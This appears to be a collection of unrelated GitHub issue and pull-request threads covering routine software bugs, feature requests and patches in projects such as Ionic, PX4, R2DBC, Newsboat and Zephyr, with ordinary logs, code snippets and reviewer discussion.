Having changed the $infinite-scroll-loading-color sass variable does not change the color of the spinner.
Expected behavior:
The color of spinner changes.
Steps to reproduce:
Overwrite $infinite-scroll-loading-color:

$refresher-icon-color: #0f0;

Add ionic infinite scroll:
<ion-content>

 <ion-list>
   <ion-item *ngFor="let i of items">{{i}}</ion-item>
 </ion-list>

 <ion-infinite-scroll (ionInfinite)="doInfinite($event)">
   <ion-infinite-scroll-content></ion-infinite-scroll-content>
 </ion-infinite-scroll>

</ion-content>

@Component({...})
export class NewsFeedPage {
  items = [];

  constructor() {
    for (let i = 0; i < 30; i++) {
      this.items.push( this.items.length );
    }
  }

  doInfinite(infiniteScroll) {
    console.log('Begin async operation');

    setTimeout(() => {
      for (let i = 0; i < 30; i++) {
        this.items.push( this.items.length );
      }

      console.log('Async operation has ended');
      infiniteScroll.complete();
    }, 500);
  }

}

Try it.
Ionic info:
Cordova CLI: 6.5.0
Ionic Framework Version: 2.1.0
Ionic CLI Version: 2.2.1
Ionic App Lib Version: 2.2.0
Ionic App Scripts Version: 1.1.3
ios-deploy version: 1.9.0
ios-sim version: 5.0.11
OS: macOS Sierra
Node Version: v7.1.0
Xcode version: Xcode 8.2.1 Build version 8C1002

Same with $refresher-icon-color:  https://github.com/driftyco/ionic/issues/10479

Thanks for using Ionic, we will take a look into this.


[LiveComponent] Stimulus controller inside a Live Component does not rerender

Re-opening #2048 in a new issue.
TL;DR: If you have a stimulus controller inside a live component, after the live component reloads, you will experience weird issues (dom in an unexpected state) because of dom morphing feature of turbo/live components.
Examples I have:

A component that calculates a price with VAT "on the fly" while typing in an input
A component that starts QuillJS! related to #1  btw

For those interested, I summarized #2048 solutions in this article: https://wiki.swag.industries/en/symfony/ux/controller-state-after-live-update

Can you create a small reproducer so we can look at a concrete case of this problem and see what can be done ? :)


Repeat usage headings in pretty-format/README.md

Summary
Parallelized Usage headings and prioritized information to remove internal links.

Move types to introduction
Usage with options:

Add example
Align headings and reduce wrapping in table of options

Usage with plugins: prioritize how to use above how to develop

Test plan
Critique by human

Haha, better late than never, travis:
● does not print to console with --silent
expect(value).toMatchSnapshot()
Received value does not match stored snapshot 2.

- Snapshot
+ Received

-" PASS  __tests__/console.test.js
+" PASS  __tests__/console.test.js (6.003s)


[WIP] uORB topics autogeneration

continuation of #2780
@DrTon @againagainst @kd0aij @LorenzMeier - Anyone interested in finishing this?
TODO:

[ ] fix ROS
[ ] SITL test
[ ] nuttx test
[ ] increase message size? (currently 254)
[ ] higher rate for EKF2 replay?

@dagar @jgoppert Thanks, I was able to work with #4041
But it looks like a few things need to be done to get the logger working (message and format string size to start with).

The system arms, but start_log is never called because _vehicle_status_sub.get().arming_state remains zero.

Can anyone tell me why this error might be occurring now, and how to work around it?
log_writer: can't open log file /fs/microsd/log/sess020/log001.ulg: Too many open files

@kd0aij that means that the app is doing one of two things: it's leaking file descriptors, or its opening more topics than the maximum number of file descriptors allowed per process. Most likely it needs to be smarter about which topics to log and not all by default.

@LorenzMeier Thanks, reducing the number of topics resulted in a log file with some data. Progress!

Although "_vehicle_status_sub.get().arming_state" compiles, it always returns zero, instead of the actual value

There are errors in the autogenerated cpp files e.g. sensor_baro.cpp contains
const char *__orb_sensor_baro_fields = "SENSOR_BARO:float pressure;float altitude;float temperature;uint64_t error_count;";

but the correct field order is:
const char *__orb_sensor_baro_fields = "SENSOR_BARO:uint64_t error_count;float pressure;float altitude;float temperature;";

The cpp header files for autogenerated messages say "Auto-generated by genmsg_cpp", but there is no such file in the source tree. What is the real answer to that question?

It doesn't have the rest of this?
/* Auto-generated by genmsg_cpp from file @file_name_in */

https://github.com/PX4/Firmware/pull/4045/files#diff-90e94c514f9b3676e1b4ccafe737626aR50

If you build posix_sitl_default with clang you can catch some of this sizing stuff locally.

@jgoppert Can you help @kd0aij With the field ordering of the log messages in Python? Essentially the issue is that meta data and fields need to agree.

When I said there was no "genmsg_cpp" in the source tree, I meant that the comment is useless: I still don't know what code generated the broken cpp sources.

@kd0aij Its in Tools/genmsg

I was afraid of that. Is there any relation to this: http://docs.ros.org/api/genmsg/html/

@kd0aij Its just a couple of python files for now. It doesn't really matter who else is using it. Are all fields re-sorted into their opposite order? If yes, writing out the meta info in the same order would be all it takes to fix the issue, if I understand it correctly.

@LorenzMeier did you mean Tools/gencpp instead of Tools/genmsg?
In any case it's not at all clear why the generated .h and input .msg files disagree on the order of fields. It does appear that the format string in the generated .cpp file has the same field order as the .msg file.
I found a "msg.h.template" in the gencpp folder, but without documentation it's pretty hard to guess what's going on.

getting a small number of dropouts with the code currently checked in: logging accel, gyro, attitude and status topics at every ORB update (250Hz). throughput 74K bytes/sec with 32K byte buffer:
'''
Processes: 24 total, 3 running, 21 sleeping
CPU usage: 34.00% tasks, 0.60% sched, 65.40% idle
Uptime: 163.627s total, 114.611s idle
PID COMMAND                   CPU(ms) CPU(%)  USED/STACK PRIO(BASE) STATE
0 Idle Task                  114611 65.398     0/    0   0 (  0)  READY
1 hpwork                       7153  4.548   776/ 1592 192 (192)  w:sig
2 lpwork                        586  0.372   356/ 1592  50 ( 50)  w:sig
3 init                         1614  0.000  1316/ 2496 100 (100)  w:sem
199 log_writer                   1343  1.491   692/ 1016  60 ( 60)  w:sem
84 dataman                         1  0.000   652/ 1192  90 ( 90)  w:sem
105 sensors                      3783  2.237  1660/ 1992 250 (250)  w:sem
107 gps                            70  0.000   740/ 1192 220 (220)  w:sem
109 commander                     767  0.447  3116/ 3592 140 (140)  w:sig
110 commander_low_prio              5  0.000   596/ 2872  50 ( 50)  w:sem
117 mavlink_if0                  1463  0.894  2324/ 2696 100 (100)  w:sig
118 mavlink_rcv_if0                11  0.000   828/ 2096 175 (175)  w:sem
124 mavlink_if1                  1206  0.745  2332/ 2696 100 (100)  w:sig
125 mavlink_rcv_if1                13  0.000   828/ 2096 175 (175)  w:sem
158 attitude_estimator_q        11228  6.935  2092/ 2496 250 (250)  w:sem
164 position_estimator_inav      3755  2.386  4764/ 5296 250 (250)  w:sem
166 mc_att_control               3475  2.162  1148/ 1496 250 (250)  w:sem
168 mc_pos_control                994  0.596  1068/ 1896 250 (250)  w:sem
175 navigator                       7  0.000   820/ 1496 105 (105)  w:sem
183 frsky_telemetry                 2  0.000   564/ 1096 200 (200)  w:sem
186 mavlink_if2                  7831  4.996  2316/ 2696 100 (100)  w:sig
187 mavlink_rcv_if2                13  0.000   828/ 2096 175 (175)  w:sem
197 logger                       2091  2.237  2708/ 3096 250 (250)  w:sig
204 top                           679  3.952  1228/ 1696 100 (100)  RUN
nsh>
logger:     74.2 Kbytes/sec, 12407 highWater,  0 dropouts, 0.000 sec max, free heap: 19552
logger:     74.2 Kbytes/sec, 6542 highWater,  0 dropouts, 0.000 sec max, free heap: 19040
logger:     74.2 Kbytes/sec, 12122 highWater,  0 dropouts, 0.000 sec max, free heap: 19664
logger:     74.2 Kbytes/sec, 11088 highWater,  0 dropouts, 0.000 sec max, free heap: 19552
logger:     74.2 Kbytes/sec, 11519 highWater,  0 dropouts, 0.000 sec max, free heap: 19040
logger: dropout, available: 32708/32768
logger: dropout length: 0.091 seconds
logger: dropout, available: 32766/32768
logger: dropout length: 0.039 seconds
perf
sd fsync: 26 events, 0 overruns, 1357857us elapsed, 52225us avg, min 9408us max 93910us 35985.941us rms
sd write: 2675 events, 0 overruns, 44871187us elapsed, 16774us avg, min 11us max 472900us 13206.652us rms
nsh>
logger:     73.3 Kbytes/sec, 21930 highWater,  2 dropouts, 0.091 sec max, free heap: 19040
logger:     74.2 Kbytes/sec, 10949 highWater,  0 dropouts, 0.000 sec max, free heap: 19552
logger:     74.2 Kbytes/sec, 11087 highWater,  0 dropouts, 0.000 sec max, free heap: 19552
logger:     74.2 Kbytes/sec, 11837 highWater,  0 dropouts, 0.000 sec max, free heap: 19040
logger:     74.2 Kbytes/sec, 11837 highWater,  0 dropouts, 0.000 sec max, free heap: 19664
logger: dropout, available: 32634/32768
logger: dropout length: 0.009 seconds
logger: dropout, available: 32740/32768
logger: dropout length: 0.057 seconds
logger:     73.7 Kbytes/sec, 25629 highWater,  2 dropouts, 0.057 sec max, free heap: 19552
logger:     74.2 Kbytes/sec, 12122 highWater,  0 dropouts, 0.000 sec max, free heap: 19040
logger:     74.2 Kbytes/sec, 10949 highWater,  0 dropouts, 0.000 sec max, free heap: 19664
logger:     74.2 Kbytes/sec, 11552 highWater,  0 dropouts, 0.000 sec max, free heap: 19552
logger:     74.2 Kbytes/sec, 11267 highWater,  0 dropouts, 0.000 sec max, free heap: 19552
logger:     74.2 Kbytes/sec, 10982 highWater,  0 dropouts, 0.000 sec max, free heap: 19040
logger:     74.2 Kbytes/sec, 11267 highWater,  0 dropouts, 0.000 sec max, free heap: 19664
logger:     74.2 Kbytes/sec, 11837 highWater,  0 dropouts, 0.000 sec max, free heap: 19552
logger:     74.2 Kbytes/sec, 10949 highWater,  0 dropouts, 0.000 sec max, free heap: 19040
logger:     74.2 Kbytes/sec, 11120 highWater,  0 dropouts, 0.000 sec max, free heap: 19664
logger:     74.2 Kbytes/sec, 10949 highWater,  0 dropouts, 0.000 sec max, free heap: 19552
commander disarm
nsh> logger: stop log
log_writer: stopped, bytes written: 22903952
nsh> free
total       used       free    largest
Mem:        227840     208128      19712      16928

Just looked at the spec again (https://www.sdcard.org/downloads/pls/pdf/part1_410.pdf). We need to provide a 250 msec buffer to avoid dropouts, for all SDHC speed classes. Since that's the spec, it's unwise to rely on shorter buffers.

There are two types of busies in a multiple block write operation.
(1) Write busy at block gap (without CMD12) is maximum 250ms
(2) Write busy after CMD12 is maximum 250ms (500ms for SDXC)

Since I'm seeing the write function block for nearly 500msec, there's probably something wrong with the driver, assuming that my SDHC cards (Kingston class 4 and Samsung class 10) meet the spec. In any case, a throughput of only 100K bytes/sec will require a >25 KByte buffer to guarantee that no data is dropped. Perhaps we should consider adding a 1Mb serial SRAM to use as a buffer. Given my observations of 500msec blocking intervals, that would be sufficient to maintain throughput of 250KB/sec without drops. If we find and eliminate the extra 250msec delay in the driver, we could have 500KB/sec throughput. CPU load doesn't seem to be a problem; the writer thread is below 2% and the total logger usage is roughly 4% at 74KB/sec. Extrapolating the writer load to 250KBps, it would be about 6%.

@jgoppert Would you mind connecting to @kd0aij and maybe having a look at the Python generation? This would result in a much better logger, and all what is missing seems to be right now some field sorting in Python.

@jgoppert It looks like the problem may be the sorting in print_parsed_fields() of msg/templates/uorb/msg.h.template

removing the sort from msg.h.template causes hardfault in commander.
Adding the sort to the python code generating the format string (instead) is working OK.
Will need to add more code if we want to set different update intervals for each topic.

Awesome! Need to re-read the diff to comment on topic listing.

@kd0aij This approach will help you to only spend an uORB handle for topics which are actually updating:
https://github.com/PX4/Firmware/blob/master/src/modules/sdlog2/sdlog2.c#L901-L923

continued here - https://github.com/PX4/Firmware/pull/4117


Add CLI for Reviewing and Approving Tests

Is your feature request related to a problem? Please describe.
A user has suggested adding a CLI for reviewing and approving approval tests in the Flutter testing environment. This feature would address the challenge of efficiently managing approval tests by providing an intuitive and streamlined workflow.
Describe the solution you'd like
The proposed CLI commands for reviewing and approving approval tests are as follows:
Review All Approval Tests:
$ approval_tests review-all

This command should display all the diffs for failed approval tests.
Approve All Approval Tests:
$ approval_tests approve-all

Review Approval Tests Individually:
$ approval_tests review

This command should prompt the user with a "y/N" option to approve each test one at a time.
Describe alternatives you've considered
An alternative solution would be to manually review and approve tests by examining test outputs and updating approval files individually. However, this approach is time-consuming and less efficient compared to the proposed CLI commands.
Additional context
The user, who is the author of the gen_expects package, is currently working on a feature that generates text summaries of currently displayed Flutter widgets. These summaries can be used for approval tests, and the integration with the approval_tests package would provide significant usability enhancements.

Done, helped by Richard Coutts, coming in the next 1.1.0 release.
Now you can approve files using the command line: dart run approval_tests:review


Error In Attach .mdf File To sql 2017

.ldf Not Exist (Log File Not Found )

You can attach it without .ldf file. Just remove .ldf from the grid and you will be able to attach it.

Thank you very much for your effort
it have attached


CM-377: Sort activity names

Jira Ticket:
CM-377
Jira Ticket URL:
https://bcparksdigital.atlassian.net/browse/CM-377
Description:

Added orderBy to sort activityName by alphabet case insensitive order

The items are already being sorted on line 54.
If the sort on line 54 can't be made case-insensitive then it should be deleted.

The items are already being sorted on line 54. If the sort on line 54 can't be made case-insensitive then it should be deleted.

Good catch! Yes, GraphQL doesn't have a case-insensitive sort function 😔


Upgrade electron to latest version

Electron version is also way behind, update to 25

electron upgraded to "electron": "26.3.0"


Adjust bustools extract such that output fastq retains the format of the input fastq

Without this fix, the extract_all_unmapped flag in kb extract will not work


add function to play spotify play lists?

can you add the feature of allowing it to play spotify play lists?

Just a comment, in case this makes things easier.
No Discord music bot has ever been able to stream Spotify -- Rythmbot's support for Spotify simply grabbed the Spotify track's metadata and used it to play an appropriate song from YouTube. This would be relatively easy to replicate, and would not require some complicated interaction with Spotify as some devs might tentatively fear.

Potentially addressed by #52


Include tags in OPML feed export (fixes #871)

OPML, while primarily using a hierarchy of outlines, also supports tags in version 2.0 (http://opml.org/spec2.opml#1629042387000):

category is a string of comma-separated slash-delimited category strings, in the format defined by the RSS 2.0 category element. To represent a "tag," the category string should contain no slashes. Examples: 1. category="/Boston/Weather". 2. category="/Harvard/Berkman,/Politics".

By exporting as OPML 2.0 we can include the tags in a way other programs understand. Commas are replaced with underscores. Slashes are left as-is, so when newsboat imports a hierarchical OPML file and then exports it again, that hierarchy isn't lost.
Fixes #871

Coverage: 59.55% (+0.2%) from 59.376% when pulling c88a29fd314fb3029bb8ddabaca1e16f34ce6ff7 on gwymor:opml-tags into 7299d6b8ff7c081d59743f874857f663fc0da6a4 on newsboat:master.

Thank you for the pull request, and sorry it took me so long to take a look!
I like the approach, but I think we should introduce it in a backward-compatible manner:

adjust the code so it can generate either OPML 1.0 or OPML 2.0;
make -e/--export-to-opml generate OPML 1.0 (i.e. keep the behaviour that existed before this PR). Adjust the help text for that option to clearly state what version it produces;
add --export-to-opml2 which, well, exports in OPML 2.0 format :)
file an issue for 3.0 release where we should make -e an alias for --export-to-opml2, and simultaneously introduce --export-to-opml1 for backward compatibility.

I should probably create an issue about importing 2.0 too, because it'd be weird for Newsboat to be unable to read the files it produced.

In other words, would any software or workflows be broken if we introduce 2.0 without a separate option?

I don't have the energy to properly compare the specs right now, but I think that if the two versions were compatible, the newer one would have been called 1.1. So I'm just playing it safe and asking for a separate option. If we discover that the two specs are indeed compatible (at least, compatible enough for our purposes), we can alias -e to --export-to-opml2 before Newsboat 3.0, no problem.
Thank you very much for taking the time to update the docs too. It's rare contributor who cares that much.
Anyway, this looks awesome and it'll get auto-merged once Coveralls re-caluclated the test coverage. Congratulations on your first contribution to Newsboat!


web-angular: update imports of components

fixes https://github.com/dart-lang/stagehand/issues/550

CC @kwalrath

Looks like you need to update the generator.

Looks like you need to update the generator.

Oops! Fixed


XML Tags - Summary - BlockExtensions.GetParameters

v1.1.14
Current: "Returns the insertion point of an AutoCAD BlockReference"
This seems to be an accidental copy of the XML tag for the BlockReferenceExtensions.GetInsertionPoint node.

fixed in 1.1.15


Internal error when trying to get a property on a Val:: type

In regard to https://github.com/masak/007/issues/97

Merging; thanks!


Update survey privacy text

Please provide text!

As Argo is a LF/CNCF project, we are bound by their privacy policy, so providing the link should cover the legal requirement here.
https://www.linuxfoundation.org/privacy-policy/


RE2 Possible Wrong Voice File for Ben

Version
3.1.3 (cbe02d7)
Seed
R721-ZREK-XEPH40AZ9R000KJRZ3ZZZZ1XXZQZZVVZQZZZH0Y50CZZ
Scenario
RE 2 (Claire A)
Player Character
Claire (RE2)
What happened?
I think this voice file for Ben is incorrect. After placing the Unicorn Medal and returning to the corridor outside of the STARS office, Ben has replaced Sherry and his second line has been randomised to "what the". I believe that voice line should belong to Irons rather than Ben.
Claire A_01_2023-09-14 11^19.34.zip

I do not get the same voice lines for some reason. Are you able to provide me the log file?

Yeah, here you go.
log_pl1.txt


Hulotte's kirikiri choice selection extract issues

I'm looking at the script files for https://vndb.org/v17790 and whenever there's a choice selection in-game, the extracted text turns out weird.
Ex: "@AddSelect text=少し散歩してみる hint=菜々華	@AddSelect text=のんびりと過ごす	@StartSelect"
I've attached one of the script files with a choice selection.
001_05b.zip
Here are the other scripts for the common route if you require them.
script.zip
Thank you.

A couple more issues I noticed after doing a few more tests:
The game engine seems to support ruby text but VNTextPatch doesn't seem to recognise it.
Ex:
@Ruby mess=貴月 read=きづき
@Talk name=心の声
俺たちの遠い先祖は、この村を抱える貴月山の
奥深くで、村人を見守って暮らしていたのだそうだ。
@Hitret id=205
When there is a space between names, the second word doesn't show up in-game. (I'm not sure if this is just an engine limitation or not)
Ex: "Person1 & Person2" in-game becomes "Person1" (Deleting space or replacing it with "-" seems to be a workaround for now)

Thank you. Another issue with text-wrapping came up during insertion but I managed to fix this by deleting [r] from:
text = ProportionalWordWrapper.Default.Wrap(text);             text = text.Replace("\r\n", "\r\n");             return text;
It seems [r] causes the newline to skip an entire line, ending up looking like it has been double-spaced.
Also, the ruby wasn't showing up initially, but after changing the ruby attributes to "mess" and "read" corresponding to the code used in Hulotte VNs, the ruby text showed up in the excel files.
`string ruby = GetAttributeValue(command, "mess");
if (ruby == null)
continue;
            string chars = GetAttributeValue(command, "read");
            int textLength;
            string text = null;`

I've made a fork with these changes and commenting here in case someone else wants to work on Hulotte VNs.

Well [r] is actually the line breaker for other kirkiri versions, and Hulotte line breaker is just \r\n (which is enter go to new line). So what you wanna do here is add // to [r] line and make new line just like this


Add a io.r2dbc.spi.Savepoint type to allow for unnamed savepoints

As a frequent user of JDBC, I find JDBC's ability of creating unnamed savepoints very convenient. This seems to be lacking in the current R2DBC SPI. I would expect the following Connection API (removed Javadoc and other methods for simplicity):
public interface Connection {
    Publisher<Savepoint> createSavepoint();
    Publisher<Savepoint> createSavepoint(String name);
    Publisher<Void> releaseSavepoint(Savepoint savepoint);
    Publisher<Void> rollbackTransaction();
    Publisher<Void> rollbackTransactionToSavepoint(Savepoint savepoint);
}

See also this discussion:
https://groups.google.com/forum/#!topic/r2dbc/QZpTpQtj1HA

Thanks a lot.
How about moving Savepoint.release() into the savepoint type itself?
public interface Connection {
    Publisher<Savepoint> createSavepoint();
    Publisher<Savepoint> createSavepoint(String name);
    Publisher<Void> rollbackTransaction();
    Publisher<Void> rollbackTransaction(Savepoint savepoint);
}

interface Savepoint {
    Publisher<Void> release();
}

Not sure we need to expose additional metadata on Savepoint itself.

I'm undecided about Savepoint.release(). It seems to make sense, but makes it easier to overlook as it introduces some irregularity in the API, perhaps?

I think the answer lies in a use case. Try typing a pseudo transaction using both ways and see how it reads.
I understand the desire to move release into Savepoint, but the intention might read better if left in Connection.

@lukaseder So what does the implementation of unnamed savepoints do?  Does it generate a random name and then use the Savepoint type as a holder for this?

FWIW, SQL Server JDBC and Posgres drivers use a sequence (counter) per connection.

And the Savepoint is a marker interface for driver-specific types?  The expectation being that it’ll need to be downcasted and an exception thrown if it’s not the implementation that the driver understands?

Well, the JDBC Savepoint type has two methods: getSavepointId() and getSavepointName(). So, drivers could use those methods.

A) is there no risk of mixing identifiers between databases?
B) how do ensure integrity if you’re in a cloud native environment running 10,000 instances?
I pick 10,000 as being Netflix scale. And something that is unlikely to happen when you run two copies becomes much more likely when running at Netflix scale.

I would say that the identifiers are connection / transaction scoped, so there shouldn't be any risk, no?

Building on @ttddyy's research into Spring, @lukaseder why should this be part of the R2DBC driver implementations and not implemented as a purely client behavior?  Auto-generation of ids seems to be something that all drivers would have to replicate more-or-less similarly which makes it feel like it should exist at a higher level.

I think the problem with this change lies here.  In a reactive flow like this, there's no obvious way to maintain the state that is returned from createSavepoint().  The clarity of this code (which you might disagree with 😉 ) builds on the fact that only results flow down.  All control behaviors are Publisher<Void> so they can complete without interfering in the flow of results.

why should this be part of the R2DBC driver implementations and not implemented as a purely client behavior

Call me old fashioned, but stringly typed things are not cool. :-) Also, in 99% of all cases I've ever needed a savepoint, I didn't need to name them.

In a reactive flow like this, there's no obvious way to maintain the state that is returned from createSavepoint().

I see this point, but the identification via string name still feels a bit wrong to me

Considering that R2DBC SPI isn't really meant for end-users, savepoint management would fall into a client's responsibility – basically the same as for transaction management. Drawing some pseudo-code how a client library could deal with save points:
client.inTransaction(handle -> {

  return handle.insert(…)
    .then(handle.update(…))
    .then(handle.createSavepoint())
    .then(handle.doSomethingExceptional())
    .onError(handle.getLastSavepoint().flatMap(handle::rollback));
});

Although we're talking reactive/potentially async from an API perspective, we still need to consider that the majority (not sure if all) of databases are bound to sequential execution and impose severe limitations such as binding to a single transaction, a single result set.


RDKTV-9120 : No Xcast post FTUE

Reason for change:
No Xcast post FTUE
Test Procedure: None
Risks: Low
Change-Id: I9fb7be9431d29246ae9397c901f92307f87fe3e1
Signed-off-by:Anooj Cheriyan<EMAIL_ADDRESS>

New one created: https://github.com/rdkcentral/xdialserver/pull/16

Closed due to inactivity, please restore if still needed.


Bug: Init fails with Paperless 2.3.0

The initialization call fails after upgrading to Paperless 2.3.0 with following error:
raceback (most recent call last):
  File "[...]/paperless-migration/migration.py", line 137, in <module>
    asyncio.run(main())
  File<EMAIL_ADDRESS>line 190, in run
    return runner.run(main)
           ^^^^^^^^^^^^^^^^
  File<EMAIL_ADDRESS>line 118, in run
    return self._loop.run_until_complete(task)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File<EMAIL_ADDRESS>line 653, in run_until_complete
    return future.result()
           ^^^^^^^^^^^^^^^
  File "[...]/paperless-migration/migration.py", line 48, in main
    await paperless_andre.initialize()
  File "[...]/paperless-migration/.venv/lib/python3.11/site-packages/pypaperless/__init__.py", line 158, in initialize
    self, res.pop(ResourceType.CONSUMPTION_TEMPLATES)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
KeyError: <ResourceType.CONSUMPTION_TEMPLATES: 'consumption_templates'>
Unclosed client session
client_session: <aiohttp.client.ClientSession object at 0x103ddb990>
Unclosed connector
connections: ['[(<aiohttp.client_proto.ResponseHandler object at 0x103dc8600>,<PHONE_NUMBER>965)]']
connector: <aiohttp.connector.TCPConnector object at 0x103ddb9d0>

Are you using a Paperless-ngx prior v2.0.0?
Have to check for available features of the installation.

No, it is Paperless-ngx 2.3.0. With this version, the endpoint consumption_templates is not available anymore, thus, the initialization fails.

Ah, got it. It was confusing that I’m currently preparing the release of v2.3.0 of the api client 😂
They push faster than expected. Gonna start integrating the new endpoints today evening. Thanks.


Can't transfer protobuf msg across multiple machines

Protobuf msg cannot be transferred across multiple machines
System information

OS Platform and Distribution (e.g., Linux Ubuntu 18.04):
Apollo installed from (source):
Apollo version (3.0):

Steps to reproduce the issue:
we want to run a proto msg talker / listener system across two machines, named marvin and hal
1. in marvin (the master machine):
in_dev_docker:/apollo$ export ROS_MASTER_URI=http://<IP_ADDRESS>:11311
in_dev_docker:/apollo$ export ROS_IP=<IP_ADDRESS>

in_dev_docker:/apollo$ ./scripts/roscore.sh

2. in hal
in_dev_docker:/apollo$ export ROS_MASTER_URI=http://<IP_ADDRESS>:11311
in_dev_docker:/apollo$ export ROS_IP=<IP_ADDRESS>

in_dev_docker:/apollo$ rosbag play chassis_data.bag

in_dev_docker:/apollo$ export ROS_MASTER_URI=http://<IP_ADDRESS>:11311
in_dev_docker:/apollo$ export ROS_IP=<IP_ADDRESS>

in_dev_docker:/apollo$ rostopic echo /apollo/canbus/chassis
(printed msg...)

3. in marvin (the master machine):
in_dev_docker:/apollo$ export ROS_MASTER_URI=http://<IP_ADDRESS>:11311
in_dev_docker:/apollo$ export ROS_IP=<IP_ADDRESS>

in_dev_docker:/apollo$ rostopic echo /apollo/canbus/chassis
(nothing printed out ???) ISSUE HERE

I wroted a chassis subscriber node to listen to this msg, the chassis callback function cannot be triggered too.
Supporting materials
1. By using rqt_graph, I found chassis publishing node is connected to chassis node. (also proved by rostopic info).
2. By using wireshark, I found chassis data is transferred from machine hal into machine marvin

I encountered the same problem，
I need to transfer the pointcloud data from one computer to another computer. The rostopic list can see the node but there is no msg data

If it is a local area network, this is feasible, otherwise rely on bridge


missing colon and a bit of formatting

In the future, I'll probably hold off merging on changes like this until updating the api and then squash them, but since I don't have a timeline on that yet I'll accept this.

In the future, I'll probably hold off merging on changes like this until updating the api and then squash them, but since I don't have a timeline on that yet I'll accept this.

I really love this plugin. of course, I'm waiting for the future. thanks anyway!


feat(tier4_planning_msgs): add acceleration field in VelocityLimitConstraints.msg

Related Links
https://github.com/orgs/autowarefoundation/discussions/5209
Description
This PR adds an acceleration field in the VelocityLimitConstraints.msg, enabling to consider acceleration in packages such as external velocity limiter etc.
Remarks
No regression as checked in TIER IV internal evaluator
Pre-Review Checklist for the PR Author
PR Author should check the checkboxes below when creating the PR.

[x] Code is properly formatted
[x] Assign PR to reviewer

Checklist for the PR Reviewer
Reviewers should check the checkboxes below before approval.

[ ] Commits are properly organized and messages are according to the guideline
[ ] Code is properly formatted
[ ] PR title describes the changes

Post-Review Checklist for the PR Author
PR Author should check the checkboxes below before merging.

[ ] All open points are addressed and tracked via issues or tickets
[ ] Write release notes

CI Checks

Build and test for PR: Required to pass before the merge.
Check spelling: NOT required to pass before the merge. It is up to the reviewer(s). See here if you want to add some words to the spell check dictionary.

@yukkysaito
I don't have the authority to merge, so can you? Thanks in advance.


Adding sql-database module

@JamesEarle,
Thanks for your contribution as a Microsoft full-time employee or intern. You do not need to sign a CLA.
Thanks,
Microsoft Pull Request Bot


Upgrade go and ids with apostrophe

I was NOT using parameterized sql for '...where (id, type) in (, )...' - because this is not a common enough use case to be handled well by the library (as far as I can tell)
I did find one approach that seems to work though, creating '($1, $2), ($3, $4) etc...' parameters for those and substituting in like normal.  That fixes the case of an id that has an apostrophe (or any other characters)
As long as I was here I thought I'd upgrade postgres to version we use, and up the go version too

NOTE: I'll go ahead and merge - since it's not actually going into production (despite branch name)


Write 3.0.0 release blog post

Related to https://github.com/camunda/camunda-modeler/issues/1331

@philippfromme I requested your review on https://github.com/camunda/blog.camunda.org/pull/75. Have a look, if you dare :smile_cat:


kernel: handle thread self-aborts on idle thread

Fixes races where threads on another CPU are joining the
exiting thread, since it could still be running when
the joiners wake up on a different CPU.
Fixes problems where the thread object is still being
used by the kernel when the fn_abort() function is called,
preventing the thread object from being recycled or
freed back to a slab pool.
Fixes a race where a thread is aborted from one CPU while
it self-aborts on another CPU, that was currently worked
around with a busy-wait.
Precedent for doing this comes from FreeRTOS, which also
performs final thread cleanup in the idle thread.
Add some extra comments and log messages to the meta-irq
test case.
Some logic in z_thread_single_abort() rearranged such that
when we release sched_spinlock, the thread object pointer
is never dereferenced by the kernel again; join waiters
or fn_abort() logic may free it immediately.
An assertion added to z_thread_single_abort() to ensure
it never gets called with thread == _current outside of an ISR.
Some logic has been added to ensure z_thread_single_abort()
tasks don't run more than once.
Add a test proving the idle thread stack size is large
enough.
Added another patch to detect via assertion whether a
thread objects are being re-used when they are still
active. horrible and difficult to comprehend things can
happen if a thread object is already being used by the
kernel and k_thread_create() is called on it.
Fixes: #26486
Related to: #23063 #23062

debugging some issues in tests that abort out of a fatal error, due to inconsistencies in how various arches report is_in_isr()...

Somehow, this has introduced an order-of-magnitude regression on how fast tests/lib/heap completes on qemu_xtensa.
I have no idea why at this time, but is is easy to reproduce.

This xtensa issue is very mysterious. I don't know how to gather gprof data on an emulated target (is this possible?), so I don't have a good source of how much time the CPU is spending inside various functions.
Just randomly ctrl-c in GDB while the test is running reveals that we're spending our time in the context of sys_heap_stress and the IP is typically within one of the chunk_ inline functions, most often in chunk_field. A typical backtrace:
(gdb) bt
#0  chunk_field (h=0x60026ee0 <heapmem>, c=<optimized out>, f=SIZE_AND_USED)
    at /home/apboie/projects/zephyr/zephyr/lib/os/heap.h:94
#1  0x600023dc in chunk_size (h=0x60026ee0 <heapmem>, c=5077)
    at /home/apboie/projects/zephyr/zephyr/lib/os/heap.h:125
#2  0x600024fc in valid_chunk (h=0x60026ee0 <heapmem>, c=5077)
    at /home/apboie/projects/zephyr/zephyr/lib/os/heap-validate.c:37
#3  0x600025e9 in sys_heap_validate (heap=<optimized out>)
    at /home/apboie/projects/zephyr/zephyr/lib/os/heap-validate.c:84
#4  0x6000175a in testfree (arg=0x60005828 <ztest_thread_stack+1688>,
    p=0x600286d4 <heapmem+6132>) at ../src/main.c:117
#5  0x60002903 in sys_heap_stress (alloc=0x6000175c <testalloc>, free=0x600016c8 <testfree>,
    arg=0x60005828 <ztest_thread_stack+1688>, total_bytes=262144, op_count=4096,
    scratch_mem=0x60006ee0 <scratchmem>, scratch_bytes=scratch_bytes@entry=131072,
    target_percent=target_percent@entry=100,
    result=result@entry=0x60005810 <ztest_thread_stack+1664>)
    at /home/apboie/projects/zephyr/zephyr/lib/os/heap-validate.c:310
#6  0x600016bf in test_big_heap () at ../src/main.c:199
#7  0x600031c9 in run_test_functions (test=<optimized out>)
    at /home/apboie/projects/zephyr/zephyr/subsys/testsuite/ztest/src/ztest.c:191
#8  test_cb (a=<optimized out>, dummy2=<optimized out>, dummy=<optimized out>)
    at /home/apboie/projects/zephyr/zephyr/subsys/testsuite/ztest/src/ztest.c:321
#9  0x60001c12 in z_thread_entry (entry=0x600031ac <test_cb>,
    p1=0x60006cc0 <_lib_heap_test$4433+40>, p2=0x0, p3=0x0)
    at /home/apboie/projects/zephyr/zephyr/lib/os/thread_entry.c:29

I also occasionally will break and find myself within _WindowOverflow8. But this also happens in a vanilla tree, so all I can do is speculate whether there has been some subtle change that is causing these window overflow exceptions to happen much more often. I could be barking completely up the wrong tree, I don't know this arch well.
I am not sure how to gather data to investigate further; gprof output would be valuable, or perhaps a counter value for each exception occurrence.
This is surely very weird as the test is single threaded and isn't sleeping, so why these changes I made would cause this particular test on this particular arch to perform an order of magnitude worse has me baffled.

